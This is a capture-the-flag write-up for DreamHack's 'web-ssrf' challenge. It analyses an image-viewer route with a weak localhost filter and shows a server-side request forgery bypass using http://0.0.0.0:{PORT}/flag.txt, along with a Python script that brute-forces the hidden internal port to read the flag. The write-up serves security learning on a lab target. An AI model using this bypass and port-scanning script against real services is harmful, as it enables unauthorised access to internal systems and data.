Room / Challenge: web-ssrf (Web)
Metadata
- Author:
jameskaois - CTF: DreamHack
- Challenge: web-ssrf (web)
- Link:
https://dreamhack.io/wargame/challenges/75 - Level:
2 - Date:
10-11-2025
Goal
Using image viewer service to capture the flag.
My Solution
You can download and examine the source code here
The source code has one main app.py which is the file runs the application, there is a route that we have to pay attention to /img_viewer:
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
Firstly, I tried several payloads to get the flag.txt content like /flag.txt, /static/../flag.txt, … however all of them returns this base64 encoded:
PCFkb2N0eXBlIGh0bWw+CjxodG1sIGxhbmc9ZW4+Cjx0aXRsZT40MDQgTm90IEZvdW5kPC90aXRsZT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhlIHNlcnZlci4gSWYgeW91IGVudGVyZWQgdGhlIFVSTCBtYW51YWxseSBwbGVhc2UgY2hlY2sgeW91ciBzcGVsbGluZyBhbmQgdHJ5IGFnYWluLjwvcD4K
Which is:
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
But notice there is other host that run in the same server:
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
This is the file server when we bypass these 2 checks in the routes:
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
The payload will be executed by making a GET requests:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
To bypass the checks and also points to localhost we can use this payload:
http://0.0.0.0:{PORT}/flag.txt
0.0.0.0 will points to localhost, but we have to find the correct port of the server since it is randomized between 1500 and 1800, I created this Python script to get the correct port:
import requests
target_url = "http://host1.dreamhack.games:12713/img_viewer"
for i in range(1500, 1801):
res = requests.post(target_url, data={'url': f'http://0.0.0.0:{i}/flag.txt'})
print(f"URL: http://0.0.0.0:{i}/flag.txt")
if "Jggg==" not in res.text:
print()
print(f'GOT {i}')
break
Jggg== is the base64 encoded string of the error.png, so if we don’t get it we collect the correct port:

Submit this payload URL to the UI to get the base64 encoded string:

Decode this, we got the flag:

